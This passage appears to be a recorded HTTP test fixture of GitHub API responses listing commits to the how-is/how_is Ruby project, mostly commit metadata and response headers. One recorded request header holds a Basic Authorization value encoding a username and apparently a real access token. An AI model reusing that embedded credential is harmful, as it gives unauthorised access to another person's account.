ists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6caaaf5334e34b670e79575c60c301abdba9b88e","url":"https://api.github.com/repos/how-is/how_is/commits/6caaaf5334e34b670e79575c60c301abdba9b88e","html_url":"https://github.com/how-is/how_is/commit/6caaaf5334e34b670e79575c60c301abdba9b88e"}]},{"sha":"c4080e80c1ef6469937f7c1ec657ce42ec433836","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzQwODBlODBjMWVmNjQ2OTkzN2Y3YzFlYzY1N2NlNDJlYzQzMzgzNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-08T02:59:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-08T02:59:17Z"},"message":"work on functionality spec.","tree":{"sha":"b39f271891a2f744cbf57392f1431d97557259fb","url":"https://api.github.com/repos/how-is/how_is/git/trees/b39f271891a2f744cbf57392f1431d97557259fb"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c4080e80c1ef6469937f7c1ec657ce42ec433836","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c4080e80c1ef6469937f7c1ec657ce42ec433836","html_url":"https://github.com/how-is/how_is/commit/c4080e80c1ef6469937f7c1ec657ce42ec433836","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c4080e80c1ef6469937f7c1ec657ce42ec433836/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c61e07faa092af37a5c916c1a66077f5839d04ef","url":"https://api.github.com/repos/how-is/how_is/commits/c61e07faa092af37a5c916c1a66077f5839d04ef","html_url":"https://github.com/how-is/how_is/commit/c61e07faa092af37a5c916c1a66077f5839d04ef"}]},{"sha":"c61e07faa092af37a5c916c1a66077f5839d04ef","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzYxZTA3ZmFhMDkyYWYzN2E1YzkxNmMxYTY2MDc3ZjU4MzlkMDRlZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-04T02:37:06Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-04T02:37:06Z"},"message":"cleanup","tree":{"sha":"eab83a8e98ea3828de57897b13000300561d5dd8","url":"https://api.github.com/repos/how-is/how_is/git/trees/eab83a8e98ea3828de57897b13000300561d5dd8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c61e07faa092af37a5c916c1a66077f5839d04ef","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c61e07faa092af37a5c916c1a66077f5839d04ef","html_url":"https://github.com/how-is/how_is/commit/c61e07faa092af37a5c916c1a66077f5839d04ef","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c61e07faa092af37a5c916c1a66077f5839d04ef/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0b277aa1fbe00c3f5e78f7d5807723c91b433985","url":"https://api.github.com/repos/how-is/how_is/commits/0b277aa1fbe00c3f5e78f7d5807723c91b433985","html_url":"https://github.com/how-is/how_is/commit/0b277aa1fbe00c3f5e78f7d5807723c91b433985"}]},{"sha":"0b277aa1fbe00c3f5e78f7d5807723c91b433985","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGIyNzdhYTFmYmUwMGMzZjVlNzhmN2Q1ODA3NzIzYzkxYjQzMzk4NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-04T00:04:33Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-01-04T00:04:33Z"},"message":"beginning of functional specification; placeholder for technical specification.","tree":{"sha":"4d09a4eb0e932d9779afc11ef29a4209f3fa4390","url":"https://api.github.com/repos/how-is/how_is/git/trees/4d09a4eb0e932d9779afc11ef29a4209f3fa4390"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0b277aa1fbe00c3f5e78f7d5807723c91b433985","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0b277aa1fbe00c3f5e78f7d5807723c91b433985","html_url":"https://github.com/how-is/how_is/commit/0b277aa1fbe00c3f5e78f7d5807723c91b433985","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0b277aa1fbe00c3f5e78f7d5807723c91b433985/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6caaaf5334e34b670e79575c60c301abdba9b88e","url":"https://api.github.com/repos/how-is/how_is/commits/6caaaf5334e34b670e79575c60c301abdba9b88e","html_url":"https://github.com/how-is/how_is/commit/6caaaf5334e34b670e79575c60c301abdba9b88e"}]},{"sha":"6caaaf5334e34b670e79575c60c301abdba9b88e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmNhYWFmNTMzNGUzNGI2NzBlNzk1NzVjNjBjMzAxYWJkYmE5Yjg4ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-25T05:31:08Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-12-25T05:31:08Z"},"message":"Merge pull request #104 from how-is/issues-md\n\nAdd link for ungrouped issues.","tree":{"sha":"306615c2b842eec4d8a008519553ca3d6bd6990e","url":"https://api.github.com/repos/how-is/how_is/git/trees/306615c2b842eec4d8a008519553ca3d6bd6990e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6caaaf5334e34b670e79575c60c301abdba9b88e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6caaaf5334e34b670e79575c60c301abdba9b88e","html_url":"https://github.com/how-is/how_is/commit/6caaaf5334e34b670e79575c60c301abdba9b88e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6caaaf5334e34b670e79575c60c301abdba9b88e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"ffc36ac07d2eb166bf89eeeb26e7bcb261930443","url":"https://api.github.com/repos/how-is/how_is/commits/ffc36ac07d2eb166bf89eeeb26e7bcb261930443","html_url":"https://github.com/how-is/how_is/commit/ffc36ac07d2eb166bf89eeeb26e7bcb261930443"},{"sha":"d8a3384799f1139fb764a59341c6ad68c7bad190","url":"https://api.github.com/repos/how-is/how_is/commits/d8a3384799f1139fb764a59341c6ad68c7bad190","html_url":"https://github.com/how-is/how_is/commit/d8a3384799f1139fb764a59341c6ad68c7bad190"}]},{"sha":"d8a3384799f1139fb764a59341c6ad68c7bad190","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDhhMzM4NDc5OWYxMTM5ZmI3NjRhNTkzNDFjNmFkNjhjN2JhZDE5MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-25T05:29:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-25T05:29:49Z"},"message":"Add link for ungrouped issues.","tree":{"sha":"306615c2b842eec4d8a008519553ca3d6bd6990e","url":"https://api.github.com/repos/how-is/how_is/git/trees/306615c2b842eec4d8a008519553ca3d6bd6990e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d8a3384799f1139fb764a59341c6ad68c7bad190","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d8a3384799f1139fb764a59341c6ad68c7bad190","html_url":"https://github.com/how-is/how_is/commit/d8a3384799f1139fb764a59341c6ad68c7bad190","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d8a3384799f1139fb764a59341c6ad68c7bad190/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ffc36ac07d2eb166bf89eeeb26e7bcb261930443","url":"https://api.github.com/repos/how-is/how_is/commits/ffc36ac07d2eb166bf89eeeb26e7bcb261930443","html_url":"https://github.com/how-is/how_is/commit/ffc36ac07d2eb166bf89eeeb26e7bcb261930443"}]},{"sha":"ffc36ac07d2eb166bf89eeeb26e7bcb261930443","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmZjMzZhYzA3ZDJlYjE2NmJmODllZWViMjZlN2JjYjI2MTkzMDQ0Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-25T05:25:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-12-25T05:25:45Z"},"message":"Merge pull request #103 from how-is/issues-md\n\nAdd ISSUES.md.","tree":{"sha":"e4702bc35f0455d75d7e95c12d7987e3a98ae196","url":"https://api.github.com/repos/how-is/how_is/git/trees/e4702bc35f0455d75d7e95c12d7987e3a98ae196"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ffc36ac07d2eb166bf89eeeb26e7bcb261930443","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ffc36ac07d2eb166bf89eeeb26e7bcb261930443","html_url":"https://github.com/how-is/how_is/commit/ffc36ac07d2eb166bf89eeeb26e7bcb261930443","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ffc36ac07d2eb166bf89eeeb26e7bcb261930443/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701","url":"https://api.github.com/repos/how-is/how_is/commits/8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701","html_url":"https://github.com/how-is/how_is/commit/8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701"},{"sha":"9d584dee5292eafc9a02bf544fe590222b307d57","url":"https://api.github.com/repos/how-is/how_is/commits/9d584dee5292eafc9a02bf544fe590222b307d57","html_url":"https://github.com/how-is/how_is/commit/9d584dee5292eafc9a02bf544fe590222b307d57"}]},{"sha":"9d584dee5292eafc9a02bf544fe590222b307d57","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWQ1ODRkZWU1MjkyZWFmYzlhMDJiZjU0NGZlNTkwMjIyYjMwN2Q1Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-25T05:23:55Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-25T05:23:55Z"},"message":"Add ISSUES.md.","tree":{"sha":"e4702bc35f0455d75d7e95c12d7987e3a98ae196","url":"https://api.github.com/repos/how-is/how_is/git/trees/e4702bc35f0455d75d7e95c12d7987e3a98ae196"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9d584dee5292eafc9a02bf544fe590222b307d57","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9d584dee5292eafc9a02bf544fe590222b307d57","html_url":"https://github.com/how-is/how_is/commit/9d584dee5292eafc9a02bf544fe590222b307d57","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9d584dee5292eafc9a02bf544fe590222b307d57/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701","url":"https://api.github.com/repos/how-is/how_is/commits/8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701","html_url":"https://github.com/how-is/how_is/commit/8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:46 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=7&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:46 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3338' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"609c1f098bda9dc908249679d19f90a7" Last-Modified: - Sun, 25 Dec 2016 03:36:24 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 6CF4:5F6F:1DF6AF:428EE9:5CC36AEE body: encoding: ASCII-8BIT string: '[{"sha":"8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODYzOTk4MGI4YWM4ZWM0ZDM4NjBjZDRmYzhkNTFiYjM2Y2U3YzcwMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-25T03:36:24Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-12-25T03:36:24Z"},"message":"Merge pull request #98 from olleolleolle/fix/cli-tool-to-refuse-when-no-slash-given\n\nCLI warning on single-word repository argument","tree":{"sha":"b14b9e1a795b01c5b013bc5480248d2472daf077","url":"https://api.github.com/repos/how-is/how_is/git/trees/b14b9e1a795b01c5b013bc5480248d2472daf077"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701","html_url":"https://github.com/how-is/how_is/commit/8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8639980b8ac8ec4d3860cd4fc8d51bb36ce7c701/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9ab5da4415560d54027658e543882759df274ece","url":"https://api.github.com/repos/how-is/how_is/commits/9ab5da4415560d54027658e543882759df274ece","html_url":"https://github.com/how-is/how_is/commit/9ab5da4415560d54027658e543882759df274ece"},{"sha":"8886362bfc5ff2dd979962fd50d42aa79ad18f3a","url":"https://api.github.com/repos/how-is/how_is/commits/8886362bfc5ff2dd979962fd50d42aa79ad18f3a","html_url":"https://github.com/how-is/how_is/commit/8886362bfc5ff2dd979962fd50d42aa79ad18f3a"}]},{"sha":"9ab5da4415560d54027658e543882759df274ece","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWFiNWRhNDQxNTU2MGQ1NDAyNzY1OGU1NDM4ODI3NTlkZjI3NGVjZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T06:40:47Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-12-11T06:40:47Z"},"message":"Merge pull request #97 from how-is/v12-release\n\nversion bump to 12.0.0","tree":{"sha":"bbf2e4a0c9a21b6751bbac1360dd6bb09a8b3323","url":"https://api.github.com/repos/how-is/how_is/git/trees/bbf2e4a0c9a21b6751bbac1360dd6bb09a8b3323"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9ab5da4415560d54027658e543882759df274ece","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9ab5da4415560d54027658e543882759df274ece","html_url":"https://github.com/how-is/how_is/commit/9ab5da4415560d54027658e543882759df274ece","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9ab5da4415560d54027658e543882759df274ece/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url"